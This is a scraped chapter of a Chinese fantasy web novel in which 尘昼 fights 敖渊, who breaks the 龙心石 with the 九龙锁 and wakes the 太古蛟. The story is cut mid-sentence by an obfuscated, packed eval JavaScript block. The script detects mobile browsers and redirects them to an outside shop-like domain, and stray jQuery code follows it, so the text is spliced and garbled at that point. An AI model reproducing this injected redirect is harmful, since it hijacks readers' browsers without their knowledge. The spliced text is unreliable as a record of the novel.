文趣网 > 都市小说 > 饕客 > 48. 九龙锁链
    敖渊动了,墨蓝色的身影从石阶上弹下来,尾巴比尘昼见过的任何一只妖都快。他的第一爪抓向尘昼胸口,冲着他心口的位置去的,那里面刚装了蛟珠。

    尘昼侧身避开,蛟尾在地上一拍借力滑出半步。敖渊的爪子擦着他的衣领过去,爪尖割断了一缕银发,殿门口的阿螺尖叫了一声,锅铲掉在石地上弹了两下。

    敖渊落地转身,尾巴从侧面横扫过来,墨鳞在水里划出一串气泡。这一下比刚才快一倍,尘昼来不及完全避开,蛟尾竖起来挡了一下。两截尾巴撞在一起,殿里响起轰轰隆隆,是两块石头在水里碎了。

    尘昼被震退三步,尾尖被撞到的那块鳞片裂了。敖渊只退了半步,绿色的竖瞳目露凶光,“你修为不够。蛟珠认了你也没用。你吃十只妖才攒多少修为?我修了八百年。八百年和二十年,你拿什么跟我打?”

    尘昼把长发拢到耳后,低头看了看尾巴那道裂纹。他把蛟尾收回,抬手抹了一下嘴角的血,敖渊那一爪的余劲震到了他的肺腑。

    “八百年。”尘昼看着敖渊,“你哥修了快一千年。你比他差远了。”

    敖渊恼羞成怒,他再次弹出尾巴,这次尘昼没有硬接。他把掌心摊开,蜃气幻形从手心里涌出来,一层银色白雾贴着地面铺开,在殿中化为流动的雾毯。

    敖渊冲进雾里摸不清方向,尘昼从他后方闪出来,狐惑之瞳亮了一瞬。敖渊的眼睛看不见了,尘昼的蛟尾从雾里出来缠住了敖渊的右手,火毒从尾尖渗进去,红色的灼热在敖渊的皮肤上烫出一道红痕。

    敖渊闷哼一声,左手劈向尘昼的肩膀。尘昼退开,肩膀还是被掌风扫到,左臂麻了。两个人退开重新对峙。

    “敖渊。”苍渊站在石阶下面,“你脖子上挂的那个东西是九龙锁。”

    敖渊的左手抓住了胸口。那里东西一直藏在他的衣领下从外面看不见。但尘昼刚才的狐惑之瞳让他失神,衣领翻起一角露出金色的链子,链子下坠着一块绿色牌子,牌子上刻着九条蛟龙。

    苍渊看着那块牌子,“龙宫初代长老传下来的九龙锁,一共三枚。一枚在正殿,一枚在藏书阁,还有一枚在大将军府。你什么时候把你那枚偷出来的?”

    敖渊没有回答。墨绿色的眸子从苍渊身上移开,扫过殿门口的虾兵蟹将、后厨帮工、最后落在碧潮身上。碧潮站在殿门外没有动。他身后那两排蓝鳞守卫也没有动。

    “碧潮。”敖渊说。

    碧潮慢慢把刀从石阶上提起来,刀尖朝下拄回了原位。“大将军。我守正门三百年。守的是龙宫的正门,不是你的正门。”

    敖渊的竖瞳眼神阴戾,他攥着九龙锁的手指松了一下,殿门没有一个人动。每个人的目光都落在他的九龙锁上,苍渊往迈了一步。“把九龙锁摘了。那不是你的东西。”

    敖渊退了一步,他慢慢把九龙锁从脖子上摘下来。金色的链子垂在他指间,“行。”他说,“你们赢了。”所有人松了一口气,虾三举着的扫帚放下来,但敖渊忽然把九龙锁往地上一摔,整个人朝着殿后冲了出去。

    蓝色的身影撞开殿后那扇门,消失在暗影里。碧潮第一个反应过来,拔刀追出去。铁鳞带着一排蓝色的守卫也跟着追出去。

    苍渊站在原地看着地上那枚摔落的九龙锁把它捡起来。绿牌上沾了一点灰,他用袖子慢慢擦干净,“他往龙心石那边跑了。蛟珠认了你,但太古蛟还在石头下。他要把石头凿开。”

    尘昼转身往殿后走,娇蛇跟在他旁边。小澄和二太子从人群中挤出来跟在后面。翠妖跳揪了一下他的头发。尘昼穿过殿后通道,拐进那条通往底层的宽廊,三百四十七级台阶的入口出现在廊道尽头。

    台阶下面传来一声石头被凿开的巨响。

    尘昼冲到台阶口,震动已经传上来了。

    石阶在颤,每一级台阶上的名字都在抖动着。闷响一声接一声,有人在用钝器反复凿石头。尘昼直接往下冲,三步并作两步地往下蹿。娇蛇白色的身影在光雾里时隐时现。

    冲到石室门口,尘昼看见了敖渊。

    敖渊站在龙心石前面,他攥着那枚九龙锁链。金色的链条缠在他的掌心里,九条龙影从锁链里浮出来,绕着龙心石游动,每游一圈就在石头上就留下一道金色的刻痕。

    龙心石在从那些刻痕处裂开——和太古蛟自己裂开的那道缝不同,这是从外面被硬生生凿开的。碎石簌簌而洛,红光越来越浓。

    “他在拿九龙锁凿龙心石!”苍渊的声音很急,“九龙锁是长老用来封印太古蛟的,反过来也能解开封印!他要把太古蛟放出来抢蛟珠!”

    敖渊听见了身后的动静,绿瞳里那层光不像之前在正殿里那么冷了,里面多了说不清的东西,像站在悬崖边的人低头看着谷底。他的嘴角弯了弯,尘昼看懂了——他“到了这一步已经没什么可失去的了”的表情。

    熬渊这个疯子准备玉石俱焚。

    “你来了。”敖渊说,“正好看着。”

    他把九龙锁链往龙心石砸去。金色的龙影钻入石头里,龙心石裂开了一道大缝。红色的光从缝里涌出来,把石室照成了血红色。石座下的凹洞里传来低吼。

    太古蛟醒了。

    尘昼冲向敖渊,火毒从尾尖亮起来,敖渊侧身避开,左掌劈向尘昼的胸口。尘昼迎上去,右手攥住了敖渊的左腕,虎啸炸开对着敖渊轰过去。趁着熬渊失神。

    尘昼趁机把蛟尾缠上了他的腰,火毒往鳞片里渗入。敖渊闷哼但没有松手。他右手里的九龙锁还压在龙心石上,链子缠着他的指节。

    龙心石的裂缝还在扩大,太古蛟的身躯从石座下翻上来,红鳞在血光里反光,巨角从裂缝里探出来,顶在了石室的穹顶。

    “敖渊。”太古蛟吐出每个字都震得整间石室发颤,“你凿我的鳞,还想抢我的珠。你修了八百年,修的什么道?”

    敖渊回头看着太古蛟,但手还是没有松。他把九龙锁往石头上又凿了一下,金色的龙影钻得更深了。龙心石从头裂到尾,太古蛟的身躯从石缝里出来,红色的鳞片铺开占满了石室的空间。

    尘昼感觉到胸口那枚蛟珠在发烫。蓝色的光泽从他的鳞片下冒出来,越来越亮。娇蛇的蛟珠也在发烫,白色的光泽和蓝色的光泽混在一起,在两人身上如同温润的月光。

    “一起上。”娇蛇说。

    尘昼点了一下头。他松开敖渊的左腕,把蛟尾从敖渊腰上收回来。然后他和娇蛇同时把手按在龙心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950444|212791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    石上——蛟珠的光从掌心里渗入石头里,流进被九龙锁凿开的那些裂缝里。

    龙心石停止了开裂。

    龙心石从裂缝开始合拢。从尘昼和娇蛇的手心接触的地方开始,石头正在一点点地补回去。碎石归位,九龙锁凿开的刻痕变淡了。

    敖渊的九龙锁被灵力往外推,金色的链子在石头上滑下一寸又一寸。敖渊看着自己的九龙锁被推离龙心石,心里愈发不甘心。

    他攥着九龙锁的手指一根根松开。九龙锁从石头上弹回来,金色的链子散开,那九条蛟龙影已经淡了一半。

    龙心石愈合了。太古蛟的身躯重新沉回石座,鳞片一片一片退回去,巨角收回来缩进了石头里。石室里的红雾散尽了。

    敖渊跪在地上攥着那枚九龙锁,他的蓝尾拖在身后,尾尖的黑鳞片暗淡无光。他没有把九龙锁翻过来——九条龙影淡得看不见了,只剩下一片模糊的痕迹。

    苍渊走到敖渊面前,老蛟看着跪在地上的弟弟,他的尾巴光秃秃的,和敖渊那条蓝尾形成了对比。他弯下腰把那只爪子搭在敖渊的肩膀上,“起来。”

    敖渊没有动。

    “起来。”苍渊又说了一遍,声音重了些,“你跪着给谁看?给太古蛟看?它已经回去睡了。还是跪给蛟魂看?三百四十七条名字都在台阶上刻着呢。你跪着它们也不会原谅你。”

    敖渊慢慢抬起头来,绿瞳看着自己的哥哥一言不发,尘昼和娇蛇把手从石头上收回来。两个手心各留了一道蓝色的印子,龙心石在他们手上盖了一个戳。

    他们走上三百四十七级台阶,石室里只剩下敖渊一个人。他跪在龙心石前面,龙心石安安静静地嵌在石座上,蓝光铺满了整间石室。

    太古蛟在石头下翻身,低沉的鼾声从石头里传上来。台阶很长,每一级台阶上的名字在光里一闪一闪的,小澄安静了好一会儿。这种安静持续了二十级台阶,然后她忍不住了。

    “所以那个太古蛟就这么把蛟珠给你们了?”

    “嗯。”

    “白给的?”

    “也不算白给。”尘昼说,“它让我们站远点。”

    小澄觉得这个回答没法接,她转头问二太子:“你刚才看见了吗?太古蛟的头比整间石室还大。牙齿那么大。”她用爪子比了夸张的尺寸,比了两下觉得比大了,又往回收了一点。

    二太子点头:“看见了。”

    “你怕不怕?”

    “还好。”

    “我有点怕。”小澄承认了,“但我没跑。”

    “你没跑是因为你腿僵了。”

    “你才腿僵了。”

    “你刚才站在台阶上动都没动。”

    “那是稳重。”

    两个人吵着吵着就走到了台阶顶上。廊道里还站着一群人,阿螺和伙房的帮工们挤在入口处,虾三肩上扛着扫帚,蟹九的斧头别在腰后。老龟抱着一本书蹲在角落里,但他眼神不好,根本没看清上面的字。

    苍渊的步子很慢,他的尾巴光秃秃的拖着,干枯的灰色鳞片正在慢慢转色,正殿门口的碧潮看见苍渊走出来,两排蓝鳞守卫退开,殿门口让出了一条窄窄的通道。

    苍渊从通道里穿过去进了正殿。